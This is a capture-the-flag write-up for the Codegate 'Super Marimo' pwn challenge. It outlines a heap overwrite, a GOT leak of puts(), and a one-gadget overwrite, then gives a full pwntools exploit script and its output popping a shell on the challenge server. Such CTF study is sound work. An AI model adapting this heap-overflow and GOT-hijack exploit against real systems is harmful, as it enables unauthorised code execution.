## === Super Marimo  (Pwn: 61 solves / 375 pts) ===
1. Get marimo with "show me the marimo" command.2. Heap area can be overwritten with Profile of View command.3. Leak puts() address of GOT.4. Change One-gadget address from puts() address of GOT.5. Although libc is not given, it can be searched at the following URL.   https://libc.blukat.me/ ```from pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './marimo'elf  = ELF(BINARY)
puts_got_addr = elf.got['puts']
if len(sys.argv) > 1 and sys.argv[1] == 'r':  s = remote("ch41l3ng3s.codegate.kr", 3333)  puts_offset_addr  = 0x06f690   one_gadget_offset = 0x45216else:  s = process(BINARY)  libc = elf.libc  puts_offset_addr  = libc.symbols['puts']  one_gadget_offset = 0x41bce
def Show(name, profile):  s.recvuntil(">> ")  s.sendline("show me the marimo")  s.recvuntil(">> ")  s.sendline(name)  s.recvuntil(">> ")  s.sendline(profile)
def View_Modify(num, profile):  s.recvuntil(">> ")  s.sendline("V")  s.recvuntil(">> ")  s.sendline(str(num))  s.recvuntil(">> ")  s.sendline("M")  s.recvuntil(">> ")  s.sendline(profile)  s.recvuntil(">> ")  s.sendline("B")
def View(num):  s.recvuntil(">> ")  s.sendline("V")  s.recvuntil(">> ")  s.sendline(str(num))
def Buy(num, play):  s.recvuntil(">> ")  s.sendline("B")  s.recvuntil(">> ")  s.sendline(str(num))  s.recvuntil(">> ")  input()  s.sendline(play)
def Sell(num, sell):  s.recvuntil(">> ")  s.sendline("S")  s.recvuntil(">> ")  s.sendline(str(num))  s.recvuntil("[S]ell / [R]un away ?")  s.sendline(sell)
Show("1", "1")Show("2", "2")
sleep(5)buf  = "3"*0x28 + p64(0x21) + p64(0x15a765161)buf += p64(puts_got_addr) + p64(puts_got_addr)View_Modify(0, buf)
View(1)s.recvuntil("name : ")r = s.recv(6)
puts_addr       = u64(r[0:6].ljust(8, '\x00'))libc_base_addr  = puts_addr - puts_offset_addrone_gadget_addr  = libc_base_addr + one_gadget_offsetprint "puts_addr       =", hex(puts_addr)print "libc_base_addr  =", hex(libc_base_addr)print "one_gadget_addr =", hex(one_gadget_addr)
s.recvuntil(">> ")s.sendline("B")
s.recvuntil(">> ")s.sendline("V")s.recvuntil(">> ")s.sendline("1")s.recvuntil(">> ")s.sendline("M")s.recvuntil(">> ")s.sendline(p64(one_gadget_addr))
s.interactive()```
```root@kali:~/Pwn_Super_Marimo# python exploit.py r    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to ch41l3ng3s.codegate.kr on port 3333: Doneputs_addr       = 0x7fb3ef02d690libc_base_addr  = 0x7fb3eefbe000one_gadget_addr = 0x7fb3ef003216[*] Switching to interactive mode$ iduid=1000(marimo) gid=1000(marimo) groups=1000(marimo)$ lsflagmarimo$ cat flagBut_every_cat_is_more_cute_than_Marimo```